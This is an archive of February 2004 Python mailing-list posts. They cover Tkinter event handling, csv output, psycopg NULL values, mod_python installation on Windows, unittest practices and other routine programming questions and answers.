Message-ID: <c9d82136.0402241037.69be029a@posting.google.com>

I have a long running application with a Tkinter GUI.
Is there a way to see how many events are pending in the queue?
I want my application to occasionally process events (so that the
output window will update; the root window will refresh if
the user moves it; etc.). 

I tried using Tk.tk.dooneevent(), but it blocks if no events are
available. What I thought of doing is calling a method that
does something like this:
        # event_queue_empty() does not exist
        while not root.tk.event_queue_empty(): 
                root.tk.dooneevent(0)

The problem is that I'm calling an imported Python method 
that runs for a long time. I can't easily retrofit it into an 
event-oriented application. What I would like to do is at least 
ensure that the root window is up to date before I start the process.
What happens now is that I update the GUI then start the process, but
the root window does not get painted before it freezes while
the imported process runs (about 20 seconds -- a long time for a 
GUI to be frozen).

        def StartButton (self):
                self.label1_text.set ("Processing document")
                self.label2_text.set ("Estimated time to complete is
%d seconds." % self.time_estimate)
                doc_generator.process (self.document) # do the long
process()

I suppose that my other option is to use a thread, but that
seems overkill when all I want is a updated window.

At this point I suspect that I'm thinking about the problem wrong.

Is there a good source for documentation of the hidden stuff in
Tkinter?
The dooneevent() method seems to be poorly documented. Most docs don't
event mention it (or the tk attribute of a Tk instance). I had to look
up TCL docs to find that dooneevent() is a blocking call.

Yours,
Noah


From mogmios at mlug.missouri.edu  Thu Feb 26 18:46:06 2004
From: mogmios at mlug.missouri.edu (Michael)
Date: Thu, 26 Feb 2004 15:46:06 -0800
Subject: mod_python with xmlrpclib
Message-ID: <403E853E.5080005@mlug.missouri.edu>

I'm using Python 2.3.2 on Linux 2.6.2. I'm trying to create an
XML-RPC handler that works with mod_python. I can get mod_python to
show my POST data as I'd expect but it gives a ResponseError when
processing that data with xmlrpclib.loads(). If I just paste that
same data into a python script and again run it through
xmlrpclib.loads() it works correctly. I can't figure out why one
works and not the other and I can't figure out what the proper way
to handle a ResponseError would be.



From michal65 at hotmail.com  Fri Feb 13 15:38:24 2004
From: michal65 at hotmail.com (Michal Mikolajczyk)
Date: Fri, 13 Feb 2004 20:38:24 +0000
Subject: csv writerow creates double spaced excel csv files
Message-ID: <Law10-F55EeQduiEKAa000141fc@hotmail.com>

For some reason, when I write data to a csv file using the csv module of 
python 2.3 and then open it in excel, every row is double spaced.  I want 
the csv file to have every row filled with data not every other row.  Is 
there a way I can fix this.  I am using csv.writerow(data) and 
csv.writerows(data) functions, both write rows every other row when I open 
it in excel.
Example:
1 asdflkjfa
2
3 fjsdkfjoijef
4
5 asdlfkjsdf

Thanks in advance.
Michael

_________________________________________________________________
Find great local high-speed Internet access value at the MSN High-Speed 
Marketplace. http://click.atdmt.com/AVE/go/onm00200360ave/direct/01/




From ross at karchner.com  Wed Feb 18 12:08:12 2004
From: ross at karchner.com (Ross M Karchner)
Date: Wed, 18 Feb 2004 12:08:12 -0500
Subject: psycopg NULL
In-Reply-To: <slrnc374qc.1dfn.missive@homer.easthighschool.net>
References: <slrnc374qc.1dfn.missive@homer.easthighschool.net>
Message-ID: <QfydnSPKk5FhBq7d4p2dnA@giganews.com>

What is the value of psycopg.paramstyle ?

You probably have to follow the paramstyle format to get the automatic 
translation between Python None to SQL Null.

http://www.python.org/peps/pep-0249.html

If it is 'pyformat' (Like MySQLdb), then this might work:

curs.execute('INSERT INTO foo (i) VALUES (%s)' , None)
curs.execute('INSERT INTO foo (i) VALUES (%d)' , None)
curs.execute('INSERT INTO foo (i) VALUES (%i)' , None)
conn.commit()

note: all I did was replace the %'s with commas

-Ross
Lee Harr wrote:
> When I am retrieving rows using psycopg, a NULL value
> from the database will be translated to python None.
> 
> What I cannot figure out is how to insert a NULL.
> 
> 
> 
> import psycopg
> 
> DSN = 'dbname=test6 user=auth1'
> conn = psycopg.connect(DSN)
> curs = conn.cursor()
> 
> curs.execute('CREATE TABLE foo (i integer)')
> conn.commit()
> 
> # These all work
> curs.execute('INSERT INTO foo (i) VALUES (%s)' % 5)
> curs.execute('INSERT INTO foo (i) VALUES (%i)' % 4)
> curs.execute('INSERT INTO foo (i) VALUES (%d)' % 3)
> conn.commit()
> 
> # None of these work ...
> #curs.execute('INSERT INTO foo (i) VALUES (%s)' % None)
> #curs.execute('INSERT INTO foo (i) VALUES (%d)' % None)
> #curs.execute('INSERT INTO foo (i) VALUES (%i)' % None)
> #conn.commit()
> 
> # If I insert NULL some other way, this works
> curs.execute('SELECT * FROM foo')
> rows = curs.fetchall()
> for row in rows:
>     if row[0] is None:
>         print 'None!'
> 
> 
> 
> Any suggestions?
> 


From sean_berry at cox.net  Fri Feb  6 02:25:36 2004
From: sean_berry at cox.net (sean)
Date: Thu, 5 Feb 2004 23:25:36 -0800
Subject: Best Beginner's Guide To Python?
References: <3b48d777.0402052148.3cd8e16c@posting.google.com>
Message-ID: <IjHUb.32057$P17.24576@fed1read03>

Not exactly sure what you mean by where to go after that.

Do you mean what language to tackle next?  Or what book to read next?

If you are looking for a good book... look no further than the Oreilly
series of books on Python.  Also, I found the python book by deitel to be a
pretty good beginning read.  As previously mentioned... the python tutorial
on python.org is a great thing to check out as well.

Python is a great language that I have picked up very quickly and have grown
to love it.  However it is not like any other language that I have seen in
two major ways.

1)  Their are no semi-colons at the end of lines --- nice if you haven't
done any programming, but a little frustrating when you put one on almost
automatically when writing code.

2)  No use of curly braces {} to group code.  This is by far my biggest
problem with python.  I have, on more than one occasion, needed to put some
code in a loop for testing purposes.  In java, c, perl, etc... you write
your looping statement and throw a couple of braces around the code you want
it to use.  In python, you write your looping statement... but then have to
indent each line that will be looping.  After testing, all indents must then
be deleted.

I can deal without the semi-colons, but would love to see implementation of
curly braces for code grouping.


"The Tao of Spike" <duffman4287 at aol.com> wrote in message
news:3b48d777.0402052148.3cd8e16c at posting.google.com...
> I've recentlty been getting into programming.  I was wondering what
> language to learn first and after asking around I decided on Python.
> I'm about half way through "Non-Programmers Tutorial For Python" By
> Josh Cogliati (http://www.honors.montana.edu/~jjc/easytut/easytut/)
> and I'm wondering where I should go after this.  Any help is
> appreciated, thanks.




From brian at sweetapp.com  Tue Feb 24 12:29:14 2004
From: brian at sweetapp.com (Brian Quinlan)
Date: Tue, 24 Feb 2004 09:29:14 -0800
Subject: Comments requested: brief summary of Python
In-Reply-To: <ce782195.0402232218.6e64177c@posting.google.com>
Message-ID: <03f001c3fafb$b9e4a2d0$0000fea9@dell8200>

> For a book I am working on, I have written a brief (9 page) summary
> of Python. The intent of this is that an experienced programmer who
> did not know Python would be able to get enough information to read and
> understand Python programs. It is not meant to be a 100% complete
> summary of the language, but everything in there should be correct.

! Python is an interpreted language. 

Nope. Python is a language. The C implementation of which behaves similarly
to your description of Java i.e. Python scripts are compiled into an
intermediate format, known as bytecode, and then run through an bytecode
interpreter.

! Statements in Python are terminated by a newline

Or semicolon

! Python figures out which type a variable should be the first time it 
! is used.

No. In Python the concept of a variable is completely divorced from the
concept of type. A type is NEVER associated with a variable so no figuring
out is needed.

| i = "Hello"
| will make i a string.

Same. i is a variable, not a string.

| However, once the type of a variable is declared, it keeps that type; if
| you declare: i = "5"

Wrong for same reason, but this suggests that:

i = "5"
i = 10
i = lambda x: x * 2

wouldn't work. But it will.

> Multiple variables can be assigned at once, as in two, three = 2, 3

This should not be discussed here as it is not a new concept. This is just
sequence unpacking and works with any sequence type.

! Multi-line strings are often included in Python code without being
! assigned to anything (which means they have no semantic relevance): it's a
! way to include multi-line comments in the code.

They do have semantic significance if they start at the beginning of a
module, function or method; they get assign to that object's __doc__
attribute.

These specific errors aside, I think that there is an overall tone problem
with this description. I can't really qualify it but maybe the problem is
that you are comparing Python to a statically-typed language throughout.
Maybe you should make the first part more conceptual if you are targeting C
programmers and worry about syntax in the last couple of pages?

Cheers,
Brian




From fake at fake.net  Sat Feb 28 09:05:26 2004
From: fake at fake.net (Andrei)
Date: Sat, 28 Feb 2004 15:05:26 +0100
Subject: Please hear my plea: print without softspace
References: <4041796c.2181078@news.muenster.de>
Message-ID: <1rfj4etyhlcw6$.1evn1aiuzkinp$.dlg@40tude.net>

Martin Bless wrote on Sat, 28 Feb 2004 11:56:55 GMT:

> Why can't we have an additional 'print' statement, that behaves
> exactly like 'print' but doesn't insert that damn blank between two
> arguments?
> 
> Could be called 'printn' or 'prin1' or 'prinn' anything similar you
> like.
<snip>
> What do you think?

In these cases I tend to use string formatting, e.g.:

print '%s-%s-%s' % (1,2,3)

As others have already pointed out, there are several other ways too, so
making a new keyword for this doesn't seem very useful.

-- 
Yours,

Andrei

=====
Real contact info (decode with rot13):
cebwrpg5 at jnanqbb.ay. Fcnz-serr! Cyrnfr qb abg hfr va choyvp cbfgf. V ernq
gur yvfg, fb gurer'f ab arrq gb PP.


From joe at notcharles.ca  Sat Feb  7 15:39:28 2004
From: joe at notcharles.ca (Joe Mason)
Date: Sat, 07 Feb 2004 20:39:28 GMT
Subject: OT: PHP as a general language (was Re: where does Python stand?)
References: <d99e1341.0402050505.226a01c8@posting.google.com>
	<mailman.1246.1076000375.12720.python-list@python.org>
	<c718a6cf.0402071225.ea09de6@posting.google.com>
Message-ID: <slrnc2ahif.ojd.joe@gate.notcharles.ca>

In article <c718a6cf.0402071225.ea09de6 at posting.google.com>, Y2KYZFR1 wrote:
> Actually PHP can be used as a stand alone general scripting language,
> just like Python can. Python is much more powerful though.

I was just looking for a way to run PHP as a general script, actually
(it'd be much easier to debug extensions than having to load a web page
through Apache every time).  But I can't find a standalone interpreter
on my system (Debian stable) - all the php packages just hook into
Apache.  Do you know where I can find a standalone PHP?

Joe


From js at jeannot.org  Sat Feb 28 21:49:54 2004
From: js at jeannot.org (Jean-Sebastien Roy)
Date: Sun, 29 Feb 2004 03:49:54 +0100
Subject: Identity dictionnary
References: <js-665C5B.03054329022004@biggoron.nerim.net>
	<2004022821314075249%bob@redivicom>
Message-ID: <js-77D659.03495429022004@biggoron.nerim.net>

In article <2004022821314075249%bob at redivicom>,
 Bob Ippolito <bob at redivi.com> wrote:

> > Is defining __hash__ as id(self) sufficient to guarantee that __eq__ 
> > will never be called by the dict implementation ? (it seems to work in 
> > practice)
> > If not, how to ensure __eq__ will never be called ?
> 
> I don't believe your assumption about dict is correct.  A typical dict 
> is not going to have 2**32 slots in it, so you will eventually get a 
> collision, which will call __eq__ unless the key you're getting happens 
> to be the first item in that slot (it think uses object identity first 
> as an optimization and for sanity, though I have not looked at the 
> source).

A few years ago, Tim Peters said that == what not called unless __hash__ 
are equals (whatever small the number of slots is (quite strange indeed, 
but why not ?)).

But that may not be true anymore (that's why I asked).

> What you might want is a special kind of container, not a special kind 
> of object to use as keys to a dict:
> 
> class identitymap(object):
>     def __init__(self):
>         self._dict = {}
> 
>     def __getitem__(self, item):
>         return self._dict[id(item)][1]
> 
>     def __setitem__(self, item, value):
>         self._dict[id(item)] = (item, value)
> 
> ... etc.
> 
> I have used a data structure such as this before for similar reasons 
> (an attempt at pure python transparent object persistence..).

I initialy ruled out reimplementing a special dictionnary because I'm a 
bit worried about the performance, but that's a nice solution : thanks ! 
I'll probably go with it.

Regards,

js


From chris.lyon at spritenote.co.uk  Tue Feb 10 11:11:26 2004
From: chris.lyon at spritenote.co.uk (Chris Lyon)
Date: 10 Feb 2004 08:11:26 -0800
Subject: Creating objects you don't actually want
References: <d232c5e.0402100250.20e49e37@posting.google.com>
	<c0afa0$15btrh$2@ID-217427.news.uni-berlin.de>
Message-ID: <d232c5e.0402100811.69780449@posting.google.com>

> You shouldn't delete sfx --- it won't exist.

aaah I see !!

>>> class fred:
... 	def __init__(self,param = None):
... 		if param:
... 			raise ValueError
... 
>>> f = fred()
>>> f
<__main__.fred instance at 0118B93C>
>>> g = fred(1)
Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
  File "<interactive input>", line 4, in __init__
ValueError
>>> g
Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
NameError: name 'g' is not defined
>>> 


Thank you very much, I appear to have assumed once more !


From ardechou at free.fr  Wed Feb 18 01:58:16 2004
From: ardechou at free.fr (ardechou)
Date: 17 Feb 2004 22:58:16 -0800
Subject: python and MQseries
Message-ID: <ca5642cb.0402172258.7c11b45a@posting.google.com>

Hi , i'm working on unix with MQseries and egate
i want to have an injector to use in MQseries. , of course i want to
use python to code this.
do you some news on ?
i want to hve just a sample to begin.

Thanks 

ardechou


From evan at 4-am.com  Wed Feb 18 13:46:55 2004
From: evan at 4-am.com (Evan Simpson)
Date: Wed, 18 Feb 2004 12:46:55 -0600
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
In-Reply-To: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
Message-ID: <4033B31F.7010105@4-am.com>

Andrew Koenig wrote:
> I have a proposal for an alternative syntax

Argh! Somebody *please* update this PEP!

http://mail.python.org/pipermail/python-list/2003-May/161620.html

Deja-vu-ly yrs,

Evan @ 4-am





From wstandley at netpv.com  Tue Feb 17 09:17:55 2004
From: wstandley at netpv.com (Will)
Date: Tue, 17 Feb 2004 14:17:55 GMT
Subject: Where to download Mark Fletcher's ResourcePackage?
References: <y43Yb.236853$rj7.1533430@twister.tampabay.rr.com>
	<Ag3Yb.236856$rj7.1534561@twister.tampabay.rr.com>
	<4030D572.E8954625@engcorp.com>
Message-ID: <nopYb.47100$Bb.751024@twister.tampabay.rr.com>

Woops!

Sorry Mike.

Thanks for the note Peter.

Will


"Peter Hansen" <peter at engcorp.com> wrote in message
news:4030D572.E8954625 at engcorp.com...
> Will wrote:
> >
> > OK... I found it...
> >
> > Duh... it was only right there in front of my face :(
> >
> > Gusess I took the wrong fork in the road when I decided to get out of
bed
> > this morning :)
> >
> > Have a good day folks.
>
> Great you found it.  Note also that it is "Mike Fletcher", not Mark...
>
> -Peter
>




From hoi.wai at alumni.ust.hk  Tue Feb 17 12:21:01 2004
From: hoi.wai at alumni.ust.hk (Calvin FONG)
Date: Wed, 18 Feb 2004 01:21:01 +0800
Subject: Creating Self Extracting Zip using Python
In-Reply-To: <40323853.1704B48@engcorp.com>
References: <c0qc5j$2g52$1@news.hgc.com.hk>
	<c0r3k0$qo1$1@news3.tilbu1.nb.home.nl>
	<c0tdvf$rnt$1@news.hgc.com.hk> <40323853.1704B48@engcorp.com>
Message-ID: <c0tjnt$vj2$1@news.hgc.com.hk>

Peter Hansen wrote:
> Calvin FONG wrote:
> 
>>By the way, what does HTH stands for?
> 
> 
> Google is your friend, as usual. :-)
> 
> http://www.google.ca/search?q=acronym+hth
> 
> -Peter
thank you for ur help


From pecora at anvil.nrl.navy.mil  Thu Feb  5 16:28:34 2004
From: pecora at anvil.nrl.navy.mil (Lou Pecora)
Date: Thu, 05 Feb 2004 16:28:34 -0500
Subject: split a string and build tuple
References: <4022acc0$0$2959$626a54ce@news.free.fr>
Message-ID: <pecora-F2BF85.16283405022004@ra.nrl.navy.mil>

In article <4022acc0$0$2959$626a54ce at news.free.fr>,
 "GrelEns" <grelens at NOSPAMyahoo.NOTNEEDEDfr> wrote:

> hello,
> 
> i'm looking for a pythonic and obvious way to do the following :
> 
> having a string space separated like : s = "w1 w2 w3 w4 w5 w6 w7 w8..."
> how to get : l = (('w1', 'w2', 'w3'), ('w4', 'w5', 'w6'), ('w7', 'w8', ...),
> ...) ?
> (a kind of splitting and grouping in an elegant way)
> 
> i think that list comprehension or "zip" could maybe help but i just can't
> get it work,
> 
> thanks.

Since it is space-separated use the Python function 'split' to get a 
list of the separate "words."  Then you can group them however you like 
using list functions.

-- 
-- Lou Pecora
     My views are my own.


From yin_12180 at yahoo.com  Tue Feb  3 11:18:27 2004
From: yin_12180 at yahoo.com (Yin)
Date: 3 Feb 2004 08:18:27 -0800
Subject: unittest and private methods
References: <88caaeda.0402022158.3a7923ac@posting.google.com>
	<slrnc1ui5e.151.bignose-hates-spam@rose.localdomain.fake>
Message-ID: <88caaeda.0402030818.7c980c28@posting.google.com>

Ben Finney <bignose-hates-spam at and-benfinney-does-too.id.au> wrote in message news:<slrnc1ui5e.151.bignose-hates-spam at rose.localdomain.fake>...
> On 2 Feb 2004 21:58:13 -0800, Yin wrote:
> > I am an avid user of unittest and write tests for everything. Every so
> > often, I write a class that has some private methods that I only want
> > to be called from within the class. I usually write unittests for
> > these private methods using the mangled form of the call from a test
> > script file. It's not very elegant, and I wanted to get some feedback
> > on how others write unit tests for private methods.
> 
> If a method is private, why is it being tested from outside?  Unit
> testing is supposed to test that the module *behaves* as expected.  If a
> method is private, it's not part of the external behaviour of the
> module.
> 
> Possibly you want to re-think what it is you're testing.  Write a public
> method that *does something visible*, and test that.  If you find that
> there's nothing the private method is doing that you want to test from
> outside, then why are you trying to test it?

That's a good point. The primary reason is that I'd like to be able to
pinpoint errors quicker through unittesting.  If I just provided a
call to an exposed function, and an error occurred, it would still
take some work to go in the class and pinpoint where exactly the
problem is.  By writing some unittests for the class internals, I may
save myself some time in the future.

Thanks for your thoughts!
Yin


From kaede.news at online.ru  Fri Feb 13 00:00:49 2004
From: kaede.news at online.ru (Eugene Morozov)
Date: Fri, 13 Feb 2004 08:00:49 +0300
Subject: Where is pysol?
References: <c0gm59$7t$1@peabody.colorado.edu>
Message-ID: <8765ebefpa.fsf@nezumi.home.spb>

scharffe at rintintin.colorado.edu (Eric Scharff) writes:

> As a stress-test for tkinter of Python 2.3 on the Mac (yeah, that's it) I
> wanted to see if I could compile and run pysol.  (Porting the sound server to
> Mac OS X would be nice too.)  When I tried www.oberhumer.com I got a message
> stating "DNS change in progress. Please re-visit later", www.pysol.org states
> "under construction - new site should be ready Real Soon Now", and the pysol
> sourceforge project has no files.
>
> Where can pysol be found?  Is there a recent complete source release?
>
> Hoping that pysol is still somewhere available,

The fastest way to find sources of many open source
programs is visiting http://packages.debian.org and
grabbing orig.tar.gz tarball. :)
Eugene

-- 
Email: kaede.news at online.ru


From aahz at pythoncraft.com  Thu Feb  5 08:37:55 2004
From: aahz at pythoncraft.com (Aahz)
Date: 5 Feb 2004 08:37:55 -0500
Subject: [OPINION] - does language really matter if they all do the
	samething?
References: <69A0D4AB81C51447AD6BA387782B8D64093D8A@midl-mail4.etcconnect.com>
	<mailman.758.1075023273.12720.python-list@python.org>
	<bv0mg2$fai$1@panix1.panix.com>
	<mailman.775.1075073642.12720.python-list@python.org>
Message-ID: <bvtgvj$mkd$1@panix2.panix.com>

In article <mailman.775.1075073642.12720.python-list at python.org>,
Dietrich Epp  <dietrich at zdome.net> wrote:
>On Jan 25, 2004, at 7:14 AM, Aahz wrote:
>> 
>> Quite frankly, though, for this kind of application, I probably would
>> choose to write a domain-specific language (more precisely, a "smart"
>> config file format).  That would make it easier for someone who
>> wasn't a programmer to add functionality.  As I said earlier, I don't
>> think the fact that Lisp makes it easy to directly express this idiom
>> makes up for its other faults.

   [code deleted]

>...am I making this clearer?

Somewhat, though your code could certainly stand to be more Pythonicly
written -- which it's clear you already know, given that you've chosen
to re-implement the built-in ``apply()`` with its replacement.  As for
your hints, what didn't you understand about my comment above?

>You may choose to write a domain-specific language.  This was my 
>original idea as well.  The early versions of this program had the 
>tables in XML files, and the Python code was short and sweet.  However, 
>as I started writing some of the more complicated tables, I needed to 
>write hooks in the XML back into Python, and eventually one of the XML 
>files saw the presence of a few 'lambdas' here and there.  I changed 
>the XML files, I refactored the Python code, but XML didn't integrate 
>code well enough with its data, and Python didn't integrate data well 
>enough with its code.  The Lisp code that replaced everything is 
>smaller, faster, easier to read, and easier to write.

When I said "domain-specific language", I was thinking of something
similar to what Quixote does.

>My only point is that Python is not the right tool for every project.  

No argument.  But I still haven't seen evidence that Python is the wrong
tool for this project.

>I only see two ways to make this read well in Python: either add macros 
>(like Lisp, NOT like C) or add blocks that don't use lambda (like 
>Smalltalk or Ruby).  I prefer Python's syntax the way it is.

<raised eyebrow>  While I won't argue that the Lisp version of this
function looks a bit cleaner, I'm still of the opinion that if you
remove the need for ``lambda``, the Python version is easier to
understand.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From brian at sweetapp.com  Fri Feb 13 14:48:36 2004
From: brian at sweetapp.com (Brian Quinlan)
Date: Fri, 13 Feb 2004 11:48:36 -0800
Subject: Allowing non-ASCII identifiers
In-Reply-To: <402D247A.6010207@prescod.net>
Message-ID: <00d101c3f26a$5f337990$0000fea9@dell8200>

Paul Prescod wrote:
> > class @class:
> >     def @def(@def):
> >         pass
> >
> > cl\u0061ss.d\u0065f(true)
> 
> Have you ever seen real code like that? 

I've never seen any non-ASCII code in any language. 

> If not, what are you worried about? That C# programmers are reasonable 
> but Python programmers are devious and will go to extra effort to make
> your life difficult?

I don't think that there is any reasonable usage of syntax like that, so why
have it in the language?

Cheers,
Brian




From hameedkhaan at yahoo.com  Sun Feb 22 01:45:51 2004
From: hameedkhaan at yahoo.com (Hameed Khan)
Date: Sat, 21 Feb 2004 22:45:51 -0800 (PST)
Subject: list partition
Message-ID: <20040222064551.97524.qmail@web61108.mail.yahoo.com>

hi Moosebump,
       the following is a function i have return for
this purpose. hope this will help you.


>>> def newfilter(func, list):
...     flist = filter(func, list)
...     slist = filter(lambda x: not x in flist, list)
...     return flist, slist
...
>>> newfilter(lambda x: x>0, a)
([1, 2, 3], [0, 0])

Thanks,
Hameed.

----------Original Message--------------

Message: 4
Date: Sat, 21 Feb 2004 22:37:44 GMT
From: "Moosebumps" <Moosebumps at Moosebumps.Moosebumps>
Subject: list partition
To: python-list at python.org
Message-ID:
<Y4RZb.28632$x57.632 at newssvr25.news.prodigy.com>

Is there a function that takes a list and predicate,
and returns two
lists -- one for which the predicate is true and one
for which it is 
false?

I know I can call filter(p, list) and filter( not p,
list) or something 
like
that, but I assume it would be more efficient to do it
in one pass.

Actually I probably can't call "not p", I would have
to wrap p in a 
function
notP or something.  Or is there a shortcut for
lambda(x) : not p(x)?  I
guess it isn't that long : )

MB



=====
_____________________
 Hameed Ullah Khan

*Try not to become a man of success but rather to become a man of value.*
Albert Einstein

__________________________________
Do you Yahoo!?
Yahoo! Mail SpamGuard - Read only the mail you want.
http://antispam.yahoo.com/tools



From mcfletch at rogers.com  Wed Feb 25 05:00:36 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Wed, 25 Feb 2004 05:00:36 -0500
Subject: Locate python home
In-Reply-To: <c1hqsb$2h4v$1@news.uit.no>
References: <c1ho3e$2g8h$1@news.uit.no> <c1hp3a$71e$1@swifty.westend.com>
	<c1hqsb$2h4v$1@news.uit.no>
Message-ID: <403C7244.4050408@rogers.com>

Thomas Aanensen wrote:

>>import sys
>>print sys.executable
>>    
>>
>
>Thanks, but there is still one problem:
>
>This leads to the path C:\python\Python23\pythonw.exe. In my application I
>cannot use pythonw.exe, I need python.exe (console reasons). Is there some
>way to get this instead?
>
>If not, would it be ok to assume that python.exe will always reside in the
>same directory as pythonw.exe?
>  
>
Never trust the assumption:

 >>> import os
 >>> os.path.isfile( os.path.join(os.path.dirname( sys.executable ), 
'python.exe' ))
False

(This is from within Pythonwin, which has its executable elsewhere). 

It's a good idea to check and see if the file really does exist.  If it 
doesn't, either raise an error to tell the user to figure out what's 
wrong, or use the executable as given, (possibly checking/raising the 
error *only* if the executable is named pythonw and you can't find the 
python executable, though that would still have you running PythonWin in 
the above example (checking for "not named python" would be safer)).

Anywho, have fun,
Mike

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/





From no at spam.invalid  Thu Feb 26 16:24:29 2004
From: no at spam.invalid (Russell E. Owen)
Date: Thu, 26 Feb 2004 13:24:29 -0800
Subject: Tkinter on RedHat Linux 9.0
References: <b9jnb5$1mt8$1@reader.nmix.net>
	<pan.2003.05.13.22.38.11.699116@goodweb.de>
	<103pvjni4vc587e@corp.supernews.com>
	<103q06u9koeq30e@corp.supernews.com>
Message-ID: <c1lo6f$n6k$1@nntp6.u.washington.edu>

In article <103q06u9koeq30e at corp.supernews.com>,
 rich hammett <bubbarichau at warmmail.com> wrote:

>...
>In fact, the python rpm from redhat CLAIMS to include
>Tkinter already.  I'm pretty sure it doesn't.

My own experience with a freshly installed RH 9 system was that it 
included fairly old versions of tcl/tk and python, but no Tkinter.

But it seems likely that there are downloadable Python RPMs that include 
Tkinter. (Whether that includes the RPM at the RedHat site, I could not 
say.) Still... it's really easy to build Python from source (kudos to 
the developers!), and if tcl/tk are available in the usual location then 
Tkinter is automatically built. (That's the route I went because I also 
wanted a special destination directory.) If you do go this route, be 
sure to check the ReadMe; there's a build flag you should set for RH 
Linux.

-- Russell


From castor at snafu.de  Sun Feb 15 08:03:37 2004
From: castor at snafu.de (wolf)
Date: 15 Feb 2004 05:03:37 -0800
Subject: installing mod_python -- sharing experiences
Message-ID: <6fa5f178.0402150503.53269cb3@posting.google.com>

i would like to briefly share my experiences with
installing mod_python on a w2000 box. i must say that i
believe the installation process to be unnecessarily
complicated by the simple fact that the installer itself
seems to be buggy -- in my case, no combination of
mod_python 3.0.4, 3.1.2b and python 2.2.3, 2.3.3 ever
came to completion. rather, the installer would exit --
after an initial declaration of having successfully
found python in the registry -- with the words that it
'could not load python'. i now believe this may be due
to python being absent from ``path`` and a missing value
in ``pythonhome`` (see below), but on the other hand,
all my other package installations with this particular
installer brand had never given me any troubles. it
would be a nice thing if the installer was smart enough
to dispense some hints in such a case.

it is important to check that the correct python version
is selected for the respective version of mod_python --
as far as i can see, both 3.0.4 and 3.1.2b are built for
python 2.3, which at least in the former case is not so
clear from descriptions or filenames. whatever version
you downloaded, you can quickly check this by 1)
unpacking the ``*.exe`` file with a zip tool, 2) go to
the contained folder ``DATA``, open the binary
``mod_python.so`` in any text editor, and 3) search for
the string ``python2``. this should yield a single hit,
from which you can glean the expected version of the
python dll. since i never managed to finish the
installation process with the installer, i think it is
the best idea to then proceed like this:


1) simply grab that ``python_mod.so`` file and drop it
in the ``apache/modules`` folder; likewise, go to the
directory ``PURELIB/mod_python`` in the executable
archive and copy it as ``python/Lib/site-
packages/mod_python``.


2) in apaches ``httpd.conf``, do a test configuration
like this::

	#	NB.: When setting an alias, both the alias
	#	and the aliased location should end in a
	#	slash or avoid it.

	Alias /mod_python0 "drive:/some/path/mod_python/test0"

	<Directory "drive:/some/path/mod_python/test0">
		Options                     Indexes
		AddHandler                  python-program .py
		PythonHandler               myhandler
		PythonDebug                 On
	</Directory>

observe that ``.py`` does start with a dot -- this does
not seem to be essential, though.

one important point is that you had better make sure
that python scripts are not declared as cgi scripts in a
parent directory. if you absolutely need this, try
later, but for the moment it is important to understand
that the ``ExecCGI`` and the ``python-program``
declarations are enemies. -- restart apache (must be
version 2, btw, afaics), either from the services
management console, or, much better, from a terminal
window by saying

	apache.exe -k restart

(if you have your apache installed as a service). the
terminal window method has the distinct advantage that
any error messages due to problems with the httpd.conf
do appear right in front of your eyes, instead of being
silently swallowed by the system. of course, you can
also simply start apache as an ordinary program with a
line like ::

	apache -w -f drive:\path\to\apache\conf\httpd.conf


3) create .../mod_python/test0/myhandler.py and make
it contain something like this::

	#
	# -*- coding: utf-8 -*-

	from mod_python import apache

	def handler(req):

		req.content_type = "text/plain"
		req.write("Hello World!")
		return apache.OK

observe that the ``import`` statement prohibits the
execution of this snippet as a script, since it causes
the import of a module that is only available from
``mod_python.so`` -- maybe someone can come up with a
good idea how to make mod_python web scripts executable
from the command line some day; developers will love
that.


4) in case the directory where the pythonXX.dll is to be
found should *not* appear on the environment variable
``path``, apache will refuse to start and issue the
following message::

	Cannot load drive/dir/Apache2/modules/mod_python.so
	into server: The specified module could not be
	found.

this may be a problem with per-user python installations
that put the dll into the python directory, not into the
windows directory.


5) you also may want to consider setting the
``pythonhome`` environment variable -- while
experimenting, this solved my problems in one case, but
for some reason, i found myself unable to reproduce the
behavior later. anyhow, you'd simply type ::

	set pythonhome=drive:\path\to\python

or create an entry in ``autoexec.bat``, or set the
variable in the system administration.


6) one user also mentioned insufficient access rights in
the scripts directory as a potential cause of
malfunction -- apache does ordinarily not run as a
common user, but under a special account that must be
granted execution access to the directories where you
deploy your web application (i did not have his problem,
but may be this is due to apache running with
administrator rights, which is not a brilliant idea to
boot).


7) enjoy.


greetings,

_wolf


From scare.crow at oz.land  Tue Feb 24 11:14:02 2004
From: scare.crow at oz.land (Eric Moors)
Date: Tue, 24 Feb 2004 17:14:02 +0100
Subject: undefined symbol: PyUnicodeUCS2_FromUnicode
References: <c1fgnc$e2e$1@news.surfnet.nl> <c1fhf1$mqk$1@news1.wdf.sap-ag.de>
	<c1flse$irk$1@news.surfnet.nl> <c1frlk$pr$1@news1.wdf.sap-ag.de>
Message-ID: <c1ft8b$qb9$1@news.surfnet.nl>

> Perhaps it's best to ask on the PyGTK mailing list on how to install it on
> RedHat 9 (http://www.daa.com.au/~james/software/pygtk/).

Thanks, I'll do that. I realized I was off-topic here, but didn't know of a
better place to go. 
 
Eric


From aahz at pythoncraft.com  Sat Feb 14 10:27:27 2004
From: aahz at pythoncraft.com (Aahz)
Date: 14 Feb 2004 10:27:27 -0500
Subject: Maintaining a list
References: <b4a8ffb6.0402131633.1cb220d6@posting.google.com>
Message-ID: <c0leov$36u$1@panix2.panix.com>

In article <b4a8ffb6.0402131633.1cb220d6 at posting.google.com>,
Thomas Philips <tkpmep at hotmail.com> wrote:
>
>The list must be initialized to an empty list before the first call,
>and must be preserved between calls. I have not got to object oriented
>programming as yet, so please keep the solution simple.

Unfortunately, while the other solutions given fit your technical
requirements, they're also what I (and probably others) would consider
unnatural for Python programs.  That's partly because abuse of default
parameters and closures are actually two of the more difficult concepts
for people to learn correctly, IME.  Here's a "less-simple" solution that
does what you want in a Pythonic fashion, though it still uses a trick:

>>> class CallableList:
...     def __init__(self):
...         self.data = []
...     def __call__(self, x):
...         self.data.append(x)
